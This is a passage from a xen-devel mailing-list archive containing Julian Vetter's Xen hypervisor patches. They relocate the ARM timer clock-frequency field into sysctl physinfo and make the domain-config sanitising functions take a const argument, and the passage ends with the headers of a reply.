@@ -32,7 +32,6 @@ type xen_arm_arch_domainconfig =3D
   {
     gic_version: int;
     nr_spis: int;
-    clock_frequency: int32;
   }
=20
 type x86_arch_emulation_flags =3D
diff --git a/tools/ocaml/libs/xc/xenctrl=2Emli b/tools/ocaml/libs/xc/xenct=
rl=2Emli
index 9fccb2c2c2=2E=2E9414b87164 100644
--- a/tools/ocaml/libs/xc/xenctrl=2Emli
+++ b/tools/ocaml/libs/xc/xenctrl=2Emli
@@ -26,7 +26,6 @@ type vcpuinfo =3D {
 type xen_arm_arch_domainconfig =3D {
   gic_version: int;
   nr_spis: int;
-  clock_frequency: int32;
 }
=20
 type x86_arch_emulation_flags =3D
diff --git a/xen/arch/arm/domain=2Ec b/xen/arch/arm/domain=2Ec
index b396d5e615=2E=2Ed6d80ac55d 100644
--- a/xen/arch/arm/domain=2Ec
+++ b/xen/arch/arm/domain=2Ec
@@ -711,7 +711,7 @@ int arch_domain_create(struct domain *d,
     if ( (rc =3D domain_vgic_init(d, config->arch=2Enr_spis)) !=3D 0 )
         goto fail;
=20
-    if ( (rc =3D domain_vtimer_init(d, &config->arch)) !=3D 0 )
+    if ( (rc =3D domain_vtimer_init(d)) !=3D 0 )
         goto fail;
=20
     if ( (rc =3D tee_domain_init(d, config->arch=2Etee_type)) !=3D 0 )
diff --git a/xen/arch/arm/include/asm/vtimer=2Eh b/xen/arch/arm/include/as=
m/vtimer=2Eh
index 9d4fb4c6e8=2E=2E6bbfcf4e69 100644
--- a/xen/arch/arm/include/asm/vtimer=2Eh
+++ b/xen/arch/arm/include/asm/vtimer=2Eh
@@ -20,8 +20,7 @@
 #ifndef __ARCH_ARM_VTIMER_H__
 #define __ARCH_ARM_VTIMER_H__
=20
-extern int domain_vtimer_init(struct domain *d,
-                              struct xen_arch_domainconfig *config);
+extern int domain_vtimer_init(struct domain *d);
 extern int vcpu_vtimer_init(struct vcpu *v);
 extern bool vtimer_emulate(struct cpu_user_regs *regs, union hsr hsr);
 extern void virt_timer_save(struct vcpu *v);
diff --git a/xen/arch/arm/sysctl=2Ec b/xen/arch/arm/sysctl=2Ec
index 3b0edf4cec=2E=2E9cddabe006 100644
--- a/xen/arch/arm/sysctl=2Ec
+++ b/xen/arch/arm/sysctl=2Ec
@@ -15,6 +15,7 @@
=20
 #include <asm/arm64/sve=2Eh>
 #include <asm/gic=2Eh>
+#include <asm/time=2Eh>
=20
 #include <public/sysctl=2Eh>
=20
@@ -25,6 +26,8 @@ void arch_do_physinfo(struct xen_sysctl_physinfo *pi)
     pi->arch_capabilities |=3D MASK_INSR(sve_encode_vl(get_sys_vl_len()),
                                        XEN_SYSCTL_PHYSCAP_ARM_SVE_MASK);
=20
+    pi->arch_clock_frequency =3D timer_dt_clock_frequency;
+
     /*
      * The GIC version(s) we're happy creating guests with=2E  Right now =
for
      * simplicity it is tied to the active hardware version, but this wil=
l
diff --git a/xen/arch/arm/vtimer=2Ec b/xen/arch/arm/vtimer=2Ec
index 2e85ff2b6e=2E=2E18f5676158 100644
--- a/xen/arch/arm/vtimer=2Ec
+++ b/xen/arch/arm/vtimer=2Ec
@@ -52,7 +52,7 @@ static void virt_timer_expired(void *data)
     perfc_incr(vtimer_virt_inject);
 }
=20
-int domain_vtimer_init(struct domain *d, struct xen_arch_domainconfig *co=
nfig)
+int domain_vtimer_init(struct domain *d)
 {
     d->arch=2Evirt_timer_base=2Eoffset =3D get_cycles();
     d->arch=2Evirt_timer_base=2Enanoseconds =3D
@@ -60,8 +60,6 @@ int domain_vtimer_init(struct domain *d, struct xen_arch=
_domainconfig *config)
     d->time_offset=2Eseconds =3D d->arch=2Evirt_timer_base=2Enanoseconds;
     do_div(d->time_offset=2Eseconds, 1000000000);
=20
-    config->clock_frequency =3D timer_dt_clock_frequency;
-
     /*
      * Per the ACPI specification, providing a secure EL1 timer
      * interrupt is optional and will be ignored by non-secure OS=2E
diff --git a/xen/include/public/arch-arm=2Eh b/xen/include/public/arch-arm=
=2Eh
index 6987f5bdf4=2E=2Eb88c61c8ff 100644
--- a/xen/include/public/arch-arm=2Eh
+++ b/xen/include/public/arch-arm=2Eh
@@ -334,7 +334,7 @@ DEFINE_XEN_GUEST_HANDLE(vcpu_guest_context_t);
 #define XEN_DOMCTL_CONFIG_ARM_V8R_EL1_MSA_VMSA    2
=20
 struct xen_arch_domainconfig {
-    /* IN/OUT */
+    /* IN */
     uint8_t gic_version;
     /* IN - Contains SVE vector length divided by 128 */
     uint8_t sve_vl;
@@ -342,20 +342,6 @@ struct xen_arch_domainconfig {
     uint16_t tee_type;
     /* IN */
     uint32_t nr_spis;
-    /*
-     * OUT
-     * Based on the property clock-frequency in the DT timer node=2E
-     * The property may be present when the bootloader/firmware doesn't
-     * set correctly CNTFRQ which hold the timer frequency=2E
-     *
-     * As it's not possible to trap this register, we have to replicate
-     * the value in the guest DT=2E
-     *
-     * =3D 0 =3D> property not present
-     * > 0 =3D> Value of the property
-     *
-     */
-    uint32_t clock_frequency;
     /* IN */
     uint8_t arm_sci_type;
     /* IN */
diff --git a/xen/include/public/sysctl=2Eh b/xen/include/public/sysctl=2Eh
index d20ebf3644=2E=2Ebc3e1541ae 100644
--- a/xen/include/public/sysctl=2Eh
+++ b/xen/include/public/sysctl=2Eh
@@ -120,7 +120,18 @@ struct xen_sysctl_physinfo {
     uint32_t cpu_khz;
     uint32_t capabilities;/* XEN_SYSCTL_PHYSCAP_??? */
     uint32_t arch_capabilities;/* XEN_SYSCTL_PHYSCAP_{X86,ARM,=2E=2E=2E}_=
??? */
-    uint32_t pad;
+    /*
+     * ARM only=2E Based on the property clock-frequency in the DT timer =
node=2E
+     * The property may be present when the bootloader/firmware doesn't
+     * correctly set CNTFRQ to hold the timer frequency=2E
+     *
+     * As it's not possible to trap this register, we have to replicate t=
he
+     * value in the guest DT=2E
+     *
+     * =3D 0 =3D> property not present, or non-ARM
+     * > 0 =3D> Value of the property
+     */
+    uint32_t arch_clock_frequency;
     uint64_aligned_t total_pages;
     uint64_aligned_t free_pages;
     uint64_aligned_t scrub_pages;
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.637.6864a10c49021958.19f4c519d1e.100dfb6dad9a3340=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:57:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:57:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359418.1613030 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjh-0006Di-VC; Fri, 10 Jul 2026 13:57:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359418.1613030; Fri, 10 Jul 2026 13:57:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjh-0006DY-S0; Fri, 10 Jul 2026 13:57:49 +0000
Received: by outflank-mailman (input) for mailman id 1359418;
 Fri, 10 Jul 2026 13:57:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c51a755000edb5@swg.vates.tech>)
 id 1wiBjf-00065k-PD
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:57:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBjf-00HA2i-63
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:57:47 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c51a755000edb5@swg.vates.tech>)
 id 6a50fa48-5cb7-0a2a0a5109dd-0a2a4508be1e-40
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:47 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c51a755000edb5@swg.vates.tech>)
 id 6a50fa5a-ee29-0a2a45080019-b9ff1c2281ff-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:47 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4c51a755000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 13:57:27 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id BF391820B8;
 Fri, 10 Jul 2026 15:57:26 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=4V+Q9vdkovRX6sGJOqwhNxmobw30y8/EXlVoTNAgKmo=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Xq8mVtOZOQwPp3RYv/FwAo+44NSrkgJAmiq76UuJC7Ixfu0vV8A+G2ds5KEfj7P2zVavNh4Wv
 hTy2hqdQNjHuqdmICm4TEqeKIx6kkzU1Du5HF9b+HvLOqPDaAPCo5Hw+uJadG8tFY4lf2jzMt0H
 antmbIrpYwHj4AHSZ9tBV85jMlxpFt0QPmhjFakq+aijUy1rqd17GMl5MaSKohcG83PFyEE6wpT
 AYouqH9mP/FOBLvvS3ONehHhYT09beQ0H8ZTENiXOkI5W1HbkR2eeiukhNL0fOIv1fPsPMBXei1
 FkaMTYdFqV2LlVF+hVFcnP84y4R+noayeveMzGvx63ZA==
X-Zone-Loop: e5c301ef98df420aff81e1cac7d5e024b09f6bbb211e
x-campaign-type: default
x-transaction-id: 735a7bb5-08b5-4b08-bb22-c4bb9abfee64
x-swg-uid: 01-5f9eee70-b623-49fe-a9ba-6a4957a256ae
X-Mailer: Sweego
Message-ID:
 <1783691847.8631fc262581453bbf619ec5b2062170.19f4c51a755000edb5@vates.tech>
x-swg-bid: 1783691847.8631fc262581453bbf619ec5b2062170.19f4c51a755000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v2 6/6] xen: make config argument const
Date: Fri, 10 Jul 2026 15:57:11 +0200
In-Reply-To: <20260710135711.301993-1-julian.vetter@vates.tech>
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.638.6ff1eb3fb31b0ef8.19f4c51a5a9.b3c7760e02c28758=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783691847082
X-purgate-ID: tlsNG-c1860d/1783691867-1034101C-C2E3F44E/0/0
X-purgate-type: clean
X-purgate-size: 8335

---=Part.638.6ff1eb3fb31b0ef8.19f4c51a5a9.b3c7760e02c28758=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

arch_sanitise_domain_config() validates the configuration requested by
the toolstack, and should not fill anything in=2E The config struct passed
to createdomain is supposed to be pure input=2E ARM used to abuse this
(GIC_NATIVE resolution, now removed) to smuggle output back to the
toolstack=2E Making the parameter const stops that type of abuse from
happening on any architecture=2E

The x86 implementation turned out to have its own instance of the same
issue=2E It set XEN_DOMCTL_CDF_oos_off into config->flags for non-HVM
guests=2E Since The sanitisation runs before the function domain_create()
copies config->flags into d->options, this relied on mutating the
toolstack's config to take effect=2E Move the default onto d->options
directly in arch_domain_create() (which runs after d->options is
populated), where all the remaining domain options are resolved=2E This
has the same effect and no mutation of the input config is required=2E

ARM, PPC and RISC-V need no equivalent change, Their implementations
were already read-only=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v2:
- New patch
---
 xen/arch/arm/domain=2Ec                   |  2 +-
 xen/arch/arm/firmware/sci=2Ec             |  2 +-
 xen/arch/arm/firmware/scmi-smc=2Ec        |  2 +-
 xen/arch/arm/include/asm/firmware/sci=2Eh |  6 +++---
 xen/arch/ppc/stubs=2Ec                    |  2 +-
 xen/arch/riscv/domain=2Ec                 |  2 +-
 xen/arch/x86/domain=2Ec                   | 16 ++++++++--------
 xen/include/xen/sched=2Eh                 |  6 ++++--
 8 files changed, 20 insertions(+), 18 deletions(-)

diff --git a/xen/arch/arm/domain=2Ec b/xen/arch/arm/domain=2Ec
index d6d80ac55d=2E=2Ef605446cc5 100644
--- a/xen/arch/arm/domain=2Ec
+++ b/xen/arch/arm/domain=2Ec
@@ -557,7 +557,7 @@ static bool v8r_el1_msa_domain_sanitise_config(
     }
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     unsigned int max_vcpus;
     unsigned int flags_required =3D (XEN_DOMCTL_CDF_hvm | XEN_DOMCTL_CDF_=
hap);
diff --git a/xen/arch/arm/firmware/sci=2Ec b/xen/arch/arm/firmware/sci=2Ec
index aa93cda7f0=2E=2Ef73ed06092 100644
--- a/xen/arch/arm/firmware/sci=2Ec
+++ b/xen/arch/arm/firmware/sci=2Ec
@@ -45,7 +45,7 @@ int sci_domain_init(struct domain *d, struct xen_domctl_=
createdomain *config)
     return cur_mediator->domain_init(d, config);
 }
=20
-int sci_domain_sanitise_config(struct xen_domctl_createdomain *config)
+int sci_domain_sanitise_config(const struct xen_domctl_createdomain *conf=
ig)
 {
     if ( !cur_mediator )
         return 0;
diff --git a/xen/arch/arm/firmware/scmi-smc=2Ec b/xen/arch/arm/firmware/sc=
mi-smc=2Ec
index 0835ddeeec=2E=2Ea973679eaf 100644
--- a/xen/arch/arm/firmware/scmi-smc=2Ec
+++ b/xen/arch/arm/firmware/scmi-smc=2Ec
@@ -82,7 +82,7 @@ static bool scmi_handle_smc(struct cpu_user_regs *regs)
 }
=20
 static int
-scmi_smc_domain_sanitise_config(struct xen_domctl_createdomain *config)
+scmi_smc_domain_sanitise_config(const struct xen_domctl_createdomain *con=
fig)
 {
     if ( config->arch=2Earm_sci_type !=3D XEN_DOMCTL_CONFIG_ARM_SCI_NONE =
&&
          config->arch=2Earm_sci_type !=3D XEN_DOMCTL_CONFIG_ARM_SCI_SCMI_=
SMC )
diff --git a/xen/arch/arm/include/asm/firmware/sci=2Eh b/xen/arch/arm/incl=
ude/asm/firmware/sci=2Eh
index 485ce211c9=2E=2E1d566be8e2 100644
--- a/xen/arch/arm/include/asm/firmware/sci=2Eh
+++ b/xen/arch/arm/include/asm/firmware/sci=2Eh
@@ -32,7 +32,7 @@ struct sci_mediator_ops {
      * it to sanitize domain SCI configuration parameters=2E
      * Optional=2E
      */
-    int (*domain_sanitise_config)(struct xen_domctl_createdomain *config)=
;
+    int (*domain_sanitise_config)(const struct xen_domctl_createdomain *c=
onfig);
=20
     /*
      * Called during domain destruction, releases all resources, that
@@ -101,7 +101,7 @@ int sci_domain_init(struct domain *d, struct xen_domct=
l_createdomain *config);
  * Sanitise domain configuration parameters=2E
  *
  */
-int sci_domain_sanitise_config(struct xen_domctl_createdomain *config);
+int sci_domain_sanitise_config(const struct xen_domctl_createdomain *conf=
ig);
=20
 /*
  * Destroy SCI domain instance=2E
@@ -162,7 +162,7 @@ static inline int sci_domain_init(struct domain *d,
 }
=20
 static inline int
-sci_domain_sanitise_config(struct xen_domctl_createdomain *config)
+sci_domain_sanitise_config(const struct xen_domctl_createdomain *config)
 {
     if ( config->arch=2Earm_sci_type !=3D XEN_DOMCTL_CONFIG_ARM_SCI_NONE =
)
         return -EINVAL;
diff --git a/xen/arch/ppc/stubs=2Ec b/xen/arch/ppc/stubs=2Ec
index a333f06119=2E=2E82a289af85 100644
--- a/xen/arch/ppc/stubs=2Ec
+++ b/xen/arch/ppc/stubs=2Ec
@@ -162,7 +162,7 @@ void arch_vcpu_destroy(struct vcpu *v)
     BUG_ON("unimplemented");
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     BUG_ON("unimplemented");
 }
diff --git a/xen/arch/riscv/domain=2Ec b/xen/arch/riscv/domain=2Ec
index 2819ff4e7c=2E=2Ee096a53cb5 100644
--- a/xen/arch/riscv/domain=2Ec
+++ b/xen/arch/riscv/domain=2Ec
@@ -289,7 +289,7 @@ void sync_vcpu_execstate(struct vcpu *v)
     /* Nothing to do -- no lazy switching */
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     return 0;
 }
diff --git a/xen/arch/x86/domain=2Ec b/xen/arch/x86/domain=2Ec
index 4252339978=2E=2E35f591ab5d 100644
--- a/xen/arch/x86/domain=2Ec
+++ b/xen/arch/x86/domain=2Ec
@@ -590,7 +590,7 @@ void arch_vcpu_destroy(struct vcpu *v)
         ASSERT_UNREACHABLE();
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     bool hvm =3D config->flags & XEN_DOMCTL_CDF_hvm;
     bool hap =3D config->flags & XEN_DOMCTL_CDF_hap;
@@ -633,13 +633,6 @@ int arch_sanitise_domain_config(struct xen_domctl_cre=
atedomain *config)
         return -EINVAL;
     }
=20
-    if ( !hvm )
-        /*
-         * It is only meaningful for XEN_DOMCTL_CDF_oos_off to be clear
-         * for HVM guests=2E
-         */
-        config->flags |=3D XEN_DOMCTL_CDF_oos_off;
-
     if ( nested_virt && !hvm_nested_virt_supported() )
     {
         dprintk(XENLOG_INFO, "Nested virt requested but not available\n")=
;
@@ -833,6 +826,13 @@ int arch_domain_create(struct domain *d,
=20
     spin_lock_init(&d->arch=2Ee820_lock);
=20
+    /*
+     * It is only meaningful for XEN_DOMCTL_CDF_oos_off to be clear for H=
VM
+     * guests=2E
+     */
+    if ( !is_hvm_domain(d) )
+        d->options |=3D XEN_DOMCTL_CDF_oos_off;
+
     if ( d->domain_id && cpu_has_amd_erratum(&boot_cpu_data, AMD_ERRATUM_=
121) )
     {
         if ( !opt_allow_unsafe )
diff --git a/xen/include/xen/sched=2Eh b/xen/include/xen/sched=2Eh
index 011292e9f7=2E=2E66ed7454ba 100644
--- a/xen/include/xen/sched=2Eh
+++ b/xen/include/xen/sched=2Eh
@@ -756,9 +756,11 @@ static inline void domain_update_node_affinity(struct=
 domain *d)
=20
 /*
  * To be implemented by each architecture, sanity checking the configurat=
ion
- * and filling in any appropriate defaults=2E
+ * requested by the toolstack=2E config is not modified: createdomain is
+ * input-only, and the toolstack is expected to have already resolved any
+ * defaults=2E
  */
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config);
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig);
=20
 /*
  * Create a domain: the configuration is only necessary for real domain
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.638.6ff1eb3fb31b0ef8.19f4c51a5a9.b3c7760e02c28758=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 15:01:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 15:01:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359502.1613039 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCir-0007bi-HH; Fri, 10 Jul 2026 15:01:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359502.1613039; Fri, 10 Jul 2026 15:01:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCir-0007ba-Ct; Fri, 10 Jul 2026 15:01:01 +0000
Received: by outflank-mailman (input) for mailman id 1359502;
 Fri, 10 Jul 2026 15:01:00 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wiCiq-0007bK-9l
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:01:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiCip-007Hbx-Md
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:00:59 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a51092b-bab6-0a2a0a5309dd-0a2a450bd0aa-0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:00:59 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a51092b-b7da-0a2a450b0019-d155802abccf-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:00:59 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so9497045e9.0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 08:00:59 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493f2d88698sm67298035e9.1.2026.07.10.08.00.57
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 08:00:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783695659; x=1784300459; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ASZFLEiCq3bS1od9JjrVbFlMmYuiu8FfWoiWG6rMDqk=;
        b=Dl8WtNSw9gDONYFi3aF8OvcYIMZPWqryjd78QDfMBCHNOf6s5JZ3hJcQmBz6B3ckcC
         Qf2hb0fnX/6g/PHnX1NFGAFhcgDUQXgDDGIjawO2TrXIfLutfY5Dk7BfGnMwjEt92Ger
         fzKvHqIs+CyfbhHsauGGXodb8JWBLW9MMn1qzcrVfLJblq52yKOBuAupn5eB+mr4R/1E
         8q4W2TEAOlAk+rqCOfiz7ilCSmQjfANlUYL1qwtCbmWGDy9YUFait5al8zy9zf1jA3Di
         /r9JIbxE1oqy5GnLONCeRW/wnoelymbO1q9mapz210AlDrEoKS5UmFXIMfMHSR4ZIiPi
         0zFA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783695659; x=1784300459;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ASZFLEiCq3bS1od9JjrVbFlMmYuiu8FfWoiWG6rMDqk=;
        b=X/MXVwnRiCTFntx6hdCgp8NisOp3VMd5riFgx+pYFU7qqJjKoMapQ03a0E2l2eDurs
         5SPtzw57K0GZvH1d+l+MEhFAjSIY1GWfVrK2YmyvmSKi/MlS73XDpX/a/W3j054/Augi
         F/P0/+vedd7yDivLPpmSBf1WTTrn28emT3bZ3ihwjPwDk3QKcdgjlvz1Gz3sEQEj0kUV
         7D0UuL/4a56eERtolmhY9PxhHzMy8ThQvqRLGJaYEESnECSFt6kL1ztKdpVxY+/lkRHH
         BoRco8t+DFyTBtyUqhT7jOlsODYAHiWEWE8swLCcJxZoP7TNfrPzimd+JYjMv/1cV2bi
         vB8Q==
X-Forwarded-Encrypted: i=1; AHgh+RpoKKfC/ZTy9PL9P4YgoK7EYl1pBALXVGuCbuzr9ye9SfFueXx8OwQRI/r9czWYpoukbVJBuA1/VmI=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyqp4XNYZYeRAd4WfsSKdS8RlzznlJyTnVORJtD0Pb41O2Q2Pvt
	OXvGav3SrKdZOOS6sVH7S4dFufD5cMS08k+7dgjv8xti6Ojmit2q1XSF
X-Gm-Gg: AfdE7cls1KkLxUn+c7k976Wau8rPf3An0q5pzg6aIiYtxAvN5d+oqKfn5BgBSFh8EWk
	zxvix/yjKrAfgEs5saQ+coTB0lN6bMHYJXuQXYx/aQs9/JpLT112Ie9TXAf7Hd3GunYCKOgxc37
	v7HSXkEldAd0qgy42ZZ87T0HRe424e54pDC2dgwRqSSOIrn7WJin0O3oui8WFr0bZcV5JNRUPBA
	KP3fKF6Xo1kVyK6HivaiXnnsHXsLb6tR8Ip3668wS2mbhASKJlLZrVxIsPuWoeQLlJO/ChXXaxA
	1g6ovB/OcDcZhT+6H5sgBB63YYgK87SE9wF0ZZNKH6eDcoElcA1naNfRPiBx9yc+HdAKpwc3XIn
	4hgmkRBB09tIgAC6jvGre/Gtnvb1sxoNddvc7deSe2dMihxIkRdwjAOUVZ4VosUV4i93y/T5bJ7
	bqtoWJ28i2UBKxmdf+rLNdXdjPIQa+4HQTreAuXAF0CZovvojENNvsa9wnyTu8FMQAy54=
X-Received: by 2002:a05:600c:4d98:b0:493:e583:7053 with SMTP id 5b1f17b1804b1-493e68f5905mr72897575e9.35.1783695658949;
        Fri, 10 Jul 2026 08:00:58 -0700 (PDT)
Message-ID: <79e5b29d-b107-4176-b8e8-bacf4c4059cd@gmail.com>
Date: Fri, 10 Jul 2026 17:00:57 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
